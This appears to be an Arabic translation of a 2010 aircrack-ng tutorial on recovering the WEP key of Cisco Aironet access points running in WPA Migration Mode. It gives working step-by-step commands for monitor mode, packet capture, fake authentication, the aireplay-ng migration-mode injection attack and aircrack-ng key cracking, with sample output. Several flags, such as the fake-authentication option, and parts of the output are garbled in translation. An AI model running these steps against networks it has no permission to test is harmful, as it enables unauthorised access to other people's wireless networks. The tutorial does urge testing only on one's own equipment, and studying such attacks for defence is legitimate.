



شرح: كيفية اختراق وضع ترحيل WPA؟

الإصدار: 1.0 11 أغسطس 2010
بقلم: لياندر وديجو سور

مقدمة

يشرح هذا الدليل كيفية اختراق وضع ترحيل WPA. ويفترض أن لديك بطاقة لاسلكية تعمل بشكل صحيح مع برامج تشغيل مُعدّلة مسبقًا لحقن الثغرات.

وضع ترحيل WPA هو إعداد تكوين مدعوم من قبل نقاط الوصول Cisco Aironet (إصدارات IOS 12.2(11)JA وما بعدها)، والذي يمكن عملاء WPA و WEP من الارتباط بنقطة وصول باستخدام نفس معرف مجموعة الخدمة (SSID).

للحصول على تحليل شامل حول كيفية عمل وضع ترحيل WPA والتفاصيل التقنية للهجمات، راجع العرض التقديمي والورقة البيضاء http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=WPA_MIGRATION_MODE [http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=WPA_MIGRATION_MODE].

يُنصح بتجربة نقطة الوصول اللاسلكية المنزلية لديك للتعرف على هذه الأفكار والتقنيات. إذا لم تكن تملك نقطة وصول معينة، فيُرجى الحصول على إذن من مالكها قبل استخدامها.

أود أن أتقدم بالشكر والتقدير لفريق Aircrack-ng لإنتاجهم هذه الأداة القوية والرائعة، ولـ darkAudax لكتابة الدروس التعليمية التي استخدمناها كأساس.

أرجو إرسال أي ملاحظات بناءة، سواء كانت إيجابية أو سلبية. أرحب بشكل خاص بأي أفكار أو نصائح إضافية لحل المشكلات.

الافتراضات

أولاً، يفترض هذا الحل ما يلي:

- أنت تستخدم برامج تشغيل مُعدّلة للحقن. استخدم اختبار الحقن للتأكد من قدرة بطاقتك على الحقن قبل المتابعة.
- أنت قريب بما يكفي لإرسال واستقبال حزم بيانات نقطة الوصول. تذكر أن استقبال الحزم من نقطة الوصول لا يعني بالضرورة إمكانية إرسالها إليها، ففوة إشارة بطاقة الشبكة اللاسلكية عادةً ما تكون أقل من قوة إشارة نقطة الوصول. لذا، يجب أن تكون قريبًا بما يكفي لتصل حزم البيانات المرسلّة إلى نقطة الوصول وتستقبلها. تأكد من إمكانية التواصل مع نقطة الوصول المحددة باتباع هذه التعليمات.
- أنت تستخدم الإصدار 1.2 من aircrack-ng، حيث أن هذا الهجوم مدعوم فقط في هذا الإصدار والإصدارات اللاحقة.

تأكد من صحة جميع الافتراضات المذكورة أعلاه؛ وإلا فلن تنجح النصائح التالية. في الأمثلة أدناه، ستحتاج إلى تغيير "wlan0" إلى اسم الواجهة الخاص ببطاقة الشبكة اللاسلكية لديك.

المعدات المستخدمة

في هذا الدرس التعليمي، إليك ما تم استخدامه:

- عنوان MAC الخاص بجهاز الكمبيوتر الذي يشغل برنامج 00:1f:3c:4e:88:46 aircrack-ng
- BSSID (لنقطة الوصول MAC عنوان): 00:26:0B:2A:BA:40
- اسم شبكة ESSID (الشبكة اللاسلكية): ترحيل

- قناة نقطة الوصول: 8
- واجهة لاسلكية: wlan0

ينبغي عليك جمع المعلومات المكافئة للشبكة التي ستعمل عليها. ثم ما عليك سوى تغيير القيم في الأمثلة أدناه لتناسب الشبكة المحددة.

حل

نظرة عامة على الحل

لفك تشفير مفتاح WEP لنقطة وصول، نحتاج إلى جمع عدد كبير من متجهات التهيئة (IVs). لا تُؤلّد حركة مرور الشبكة العادية هذه المتجهات بسرعة. نظريًا، إذا تحلّيت بالصبر، يمكنك جمع متجهات تهيئة كافية لفك تشفير مفتاح WEP بمجرد الاستماع إلى حركة مرور البث الشبكي (المُغلّفة ببروتوكول WEP) وحفظها. ولأننا جميعًا لا نتحلّى بالصبر، نستخدم تقنية تُسمى الحقن لتسريع العملية. تتضمن هذه التقنية قيام نقطة الوصول بإعادة إرسال حزم بيانات مُحددة مرارًا وتكرارًا بسرعة فائقة. وهذا يسمح لنا بالتقاط عدد كبير من متجهات التهيئة في فترة زمنية قصيرة.

بمجرد أن نلتقط عددًا كبيرًا من متجهات التهيئة، يمكننا استخدامها لتحديد مفتاح WEP.

فيما يلي الخطوات الأساسية التي سنمر بها:

1. قم بتشغيل واجهة الشبكة اللاسلكية في وضع المراقبة على قناة نقطة الوصول المحددة.
2. ابدأ تشغيل airodump-ng على قناة نقطة الوصول مع مرشح BSSID لجمع قيم IV الفريدة الجديدة.
3. استخدم aireplay-ng لإجراء مصادقة وهمية مع نقطة الوصول.
4. ابدأ تشغيل برنامج aireplay-ng في وضع هجوم WPA Migration Mode لحقن الحزم.
5. قم بتشغيل أداة aircrack-ng لفك تشفير المفتاح باستخدام قيم IV التي تم جمعها.

<http://www.youtube.com/watch?v=Zq86oP-dxk4> [http://www.youtube.com/watch?v=Zq86oP-dxk4]

الخطوة 1 - ابدأ تشغيل واجهة الشبكة اللاسلكية في وضع المراقبة على قناة نقطة الوصول

الهدف من هذه الخطوة هو وضع بطاقتك في ما يُسمى وضع المراقبة. في هذا الوضع، تستطيع بطاقتك الاستماع إلى جميع حزم البيانات المُرسلة. عادةً، لا تستمع بطاقتك إلا إلى الحزم المُوجهة إليك. من خلال الاستماع إلى جميع الحزم، يُمكننا لاحقًا اختيار بعضها لحقنها. كما أن وضع المراقبة هو الوضع الوحيد (باستثناءات نادرة) الذي يسمح لك بحقن الحزم.

أدخل الأمر التالي لتشغيل بطاقة الشبكة اللاسلكية على القناة 8 في وضع المراقبة:

```
# airmon-ng start wlan0 8
```

استبدل الرقم "8" في الأمر أعلاه برقم القناة التي يعمل عليها جهاز الوصول اللاسلكي الخاص بك. هذا مهم. يجب أن تكون بطاقة الشبكة اللاسلكية الخاصة بك مغلقة على قناة جهاز الوصول اللاسلكي حتى تعمل الخطوات التالية في هذا الدليل بشكل صحيح.

سيستجيب النظام:

برنامج تشغيل مجموعة شرائح الواجهة

```
wlan0 Intel 3945ABG iwl3945 - [phy1]
(تم تمكين وضع المراقبة على mon0)
```

ستلاحظ أن "mon0" قد تم الإبلاغ عنه أعلاه على أنه تم وضعه في وضع المراقبة.

للتأكد من إعداد الواجهة بشكل صحيح، أدخل "iwconfig"

لا توجد ملحقات لاسلكية على lo.

لا توجد ملحقات لاسلكية على eth0.

إيقاف/أي IEEE 802.11abg wlan0 ESSID:

وضع: مُدار نقطة الوصول: غير مرتبطة طاقة الإرسال = 15 ديسيبيل ميلي واط
حد إعادة المحاولة الطويل: 7 عتبة RTS: إيقاف عتبة التجزئة: إيقاف
مفتاح التشفير: إيقاف
إدارة الطاقة: إيقاف

وضع: مراقبة التردد: 2.447 جيجاهرتز طاقة الإرسال = 15 ديسيبيل ميلي واط IEEE 802.11abg mon0
حد إعادة المحاولة الطويل: 7 عتبة RTS: إيقاف عتبة التجزئة: إيقاف
إدارة الطاقة: إيقاف

في الرد أعلاه، يمكنك ملاحظة أن mon0 في وضع المراقبة، على تردد 2.447 جيجاهرتز، القناة 8، وأن نقطة الوصول تعرض عنوان MAC الخاص ببطاقة الشبكة اللاسلكية. يُرجى العلم أن برامج تشغيل madwifi-ng فقط هي التي تعرض عنوان MAC الخاص ببطاقة الشبكة اللاسلكية، بينما لا تفعل برامج التشغيل الأخرى ذلك. لذا، كل شيء على ما يرام. من المهم التأكد من هذه المعلومات قبل المتابعة، وإلا فلن تنجح الخطوات التالية.

لمطابقة التردد مع القناة، راجع الرابط التالي:

<http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132>

. سيوفر لك هذا الرابط التردد [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132]
لكل قناة.

الخطوة 2 - ابدأ تشغيل airodump-ng لالتقاط IVs

تهدف هذه الخطوة إلى التقاط متجهات التهيئة (IVs) المؤلدة. تبدأ هذه الخطوة برنامج airodump-ng لالتقاط متجهات التهيئة من نقطة الوصول المحددة.

افتح جلسة طرفية أخرى لالتقاط قيم IV المؤلدة. ثم أدخل ما يلي:

```
# airodump-ng -c 8 --bssid 00:26:0B:2A:BA:40 -w output mon0
```

أين:

- هي قناة الشبكة اللاسلكية c 8 -
- لنقطة الوصول. هذا يمنع حركة المرور غير الضرورية MAC هو عنوان 00:26:0B:2A:BA:40 -bssid
- (IVs) هو بادئة اسم الملف الذي سيحتوي على متجهات التهيئة -w capture
- هو اسم الواجهة mon0.

أثناء عملية الحقن (لاحقاً)، ستظهر الشاشة بشكل مشابه لما يلي:

```
القناة 8 ][ المدة المنقضية: 36 ثانية ][ 12:19 11-08-2010
```

```
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
```

```
00:26:0B:2A:BA:40 -17 93 339 72360 2043 8 54e. WPA TKIP PSK migrate
```

```
BSSID STATION PWR Rate Lost Packets Probes
```

```
00:26:0B:2A:BA:40 00:1F:3C:4E:88:46 0 24 - 1 28288 45891
```

```
00:26:0B:2A:BA:40 00:02:72:72:20:FE -25 0 -54e 90 11263
```

الخطوة 3 - استخدم aireplay-ng لإجراء مصادقة وهمية مع نقطة الوصول

لكي يقبل جهاز الوصول حزمة بيانات، يجب أن يكون عنوان MAC المصدر مرتبطاً مسبقاً. إذا لم يكن عنوان MAC المصدر الذي تدخله مرتبطاً، فسي تجاهل جهاز الوصول الحزمة ويرسل حزمة "إلغاء المصادقة" كنص عادي. في هذه الحالة، لا يتم إنشاء متجهات تهيئة جديدة لأن جهاز الوصول يتجاهل جميع الحزم المُدخلة.

يُعدّ عدم وجود اتصال بنقطة الوصول السبب الرئيسي لفشل عملية الحقن. تذكر القاعدة الذهبية: يجب أن يكون عنوان MAC المستخدم للحقن مرتبطاً بنقطة الوصول، إما باستخدام مصادقة وهمية أو باستخدام عنوان MAC من عميل مرتبط بالفعل.

للاتصال بنقطة الوصول، استخدم مصادقة وهمية:

```
# aireplay-ng -l 0 -e migrate -a 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
```

أين:

- 1- يعني مصادقة مزيفة
- توقيت إعادة الارتباط 0 بالثواني
- هو اسم الشبكة اللاسلكية -e migrate
- لنقطة الوصول MAC هو عنوان 00:26:0B:2A:BA:40 -a
- الخاص ببطاقتنا MAC هو عنوان 00:1f:3c:4e:88:46 -h
- هو اسم واجهة الشبكة اللاسلكية mon0

يبدو النجاح كما يلي:

١٢:٢٧:٤٠ جاري انتظار إطار الإشارة (BSSID: 00:26:0B:2A:BA:40) على القناة ٨

١٢:٢٧:٤٠ إرسال طلب مصادقة (نظام مفتوح) [ACK]

١٢:٢٧:٤٠ تمت المصادقة بنجاح

١٢:٢٧:٤٠ إرسال طلب ربط [ACK]

١٢:٢٧:٤٠ تم الربط بنجاح (-: (AID: ١)

إذا تلقيت حزمة إلغاء مصادقة، فحاول مرة أخرى. لا تنتقل إلى الخطوة التالية حتى يتم تشغيل المصادقة الوهمية بشكل صحيح.

الخطوة 4 - ابدأ تشغيل aireplay-ng في وضع هجوم ترحيل WPA

الغرض من هذه الخطوة هو بدء تشغيل aireplay-ng في وضع يهاجم نقاط الوصول Cisco Aironet التي تم تكوينها في وضع ترحيل WPA.

يستمتع البرنامج لحزمة ARP مُغلّفة ببروتوكول WEP، ويُجري عليها تعديلات بتية لتحويلها إلى حزمة ARP قادمة من عنوان MAC الخاص بالمهاجم، ثم يُعيد إرسالها إلى نقطة الوصول. وهذا بدوره يدفع نقطة الوصول إلى تكرار حزمة ARP مع متجه تهيئة (IV) جديد، وكذلك إعادة توجيه رد ARP إلى المهاجم مع متجه تهيئة جديد. يُعيد البرنامج إرسال حزمة ARP نفسها مرارًا وتكرارًا. مع ذلك، تحتوي كل حزمة ARP تُكررها نقطة الوصول على متجه تهيئة جديد، وكذلك رد ARP الذي تُعيده نقطة الوصول إلى المهاجم. تُتيح لك هذه المتجهات الجديدة تحديد مفتاح WEP. مرة أخرى، هذا هو هدفنا، الحصول على عدد كبير من متجهات التهيئة في فترة زمنية قصيرة.

افتح جلسة وحدة تحكم أخرى وأدخل ما يلي:

```
# aireplay-ng -8 -b 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
```

سيبدأ في الاستماع لطلبات ARP وعندما يسمع أحدها، سيقوم aireplay-ng بقلب البتات ويبدأ على الفور في حقنها.

هذا هو شكل الشاشة عند إدخال طلبات ARP:

١٢:١٧:٥٢ جاري انتظار إطار الإشارة (BSSID: 00:26:0B:2A:BA:40) على القناة ٨

جاري حفظ طلبات ARP في replay_arp-0811-121752.cap

يُنصح أيضًا بتشغيل airodump-ng لالتقاط الردود.

تذكر تصفية عملية الالتقاط للاحتفاظ فقط بإطارات WEP: "tshark -R 'wlan.wep.iv' -r capture.cap -w

outcapture.cap

تمت قراءة ٣١٨٣٦٨ حزمة (١٠٢١٠٢ طلب ARP، ٧٨ إشعار تأكيد)، وتم إرسال ٥٩٣١٥ حزمة... (٥٠٠ حزمة في الثانية).

يمكنك التأكد من عملية الحقن بفحص شاشة airodump-ng. من المفترض أن يزداد عدد حزم البيانات بسرعة، وأن يكون معدل "s/#" مناسبًا. مع ذلك، يعتمد المعدل المناسب على عوامل عديدة. يتراوح المعدل النموذجي بين 300 و400 حزمة بيانات في الثانية، وقد ينخفض إلى 100 حزمة في الثانية أو يرتفع إلى 500 حزمة في الثانية.

نصائح لحل المشكلات

- إذا تلقيت رسالة مشابهة لـ "تم استلام حزمة إلغاء مصادقة/فصل. هل عنوان MAC المصدر مرتبط؟"، فهذا يعني أنك فقدت الاتصال بنقطة الوصول. سيتم تجاهل جميع الحزم التي أرسلتها. يجب عليك العودة إلى خطوة المصادقة الوهمية (الخطوة 3) والاتصال بنجاح بنقطة الوصول.

الخطوة 5 - قم بتشغيل aircrack-ng للحصول على مفتاح WEP

الهدف من هذه الخطوة هو الحصول على مفتاح WEP من متجهات التهيئة التي تم جمعها في الخطوات السابقة.

ابدأ جلسة وحدة تحكم أخرى وأدخل ما يلي:

```
# aircrack-ng -a 1 -b 00:26:0B:2A:BA:40 output*.cap
```

أين:

- WEP. على اكتشاف نقطة الوصول كنقطة وصول aircrack-ng يجبر 1 - a -
- يحدد نقطة الوصول التي تهمنا. هذا اختياري لأنه عندما جمعنا البيانات في الأصل، قمنا بتطبيق عامل 00:26:0B:2A:BA:40 -b -
- تصفية لالتقاط البيانات لهذه النقطة فقط.
- يحدد الأمر output*.cap جميع الملفات التي تبدأ بـ "output" وتنتهي بـ ".cap".

هذا هو شكل النجاح:

Aircrack-ng

1.2

763 [00:00:00] تم اختبار
مفتاحًا (حصلت على 47981 IVs)

بايت عمق كيلوبايت (تصويت)

```
0 1/ 3 EF(59904) F8(56320) 25(56064) 56(55552) D0(55552) 58(55296) 74(54528) FA(54528) 7D(54272)
86(53760) C7(53504) E7(53504) ED(53504) B0(53248) B9(53248) D7(53248)
1A(55040) 25(55040) 3D(55040) 50(55040) 87(55040) 61(54784) 55(5552) 6 (56320) أ (56576) 99 5 /3 1
71(54784) D9(54528) 60(54272) BB(54272) F8(54272) 24(54016) E6(54016)
2 20/ 2 51(52992) 5F(52736) 7C(52736) 8F(52736) C5(52736) 23(52480) 76(52480) 77(52480) B5(52480)
DD(52480) 47(52224) 5C(52224) 53(51968) D3(51968) DE(51968) 0B(51712)
3 0/ 1 B9(69120) 3B(57856) B0(57344) 53(55808) A2(55808) 96(55296) E4(55296) 5D(54784) D5(54784)
6E(54528) 38(54272) 65(54272) 4C(54016) 78(54016) F6(54016) 21(53760)
AE(54272) 0F(53760) 39(53760) B0(53760) F5(53760) 54(54528) 82 (54528) د (55808) 95 (56576) 32 4 /7 4
6E(53504) 97(53504) 11(53248) A1(53248) B3(53248) 5C(52992) 20(52736) تم العثور على
```

مفتاح! [AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA]

تم فك التشفير بشكل صحيح: 100%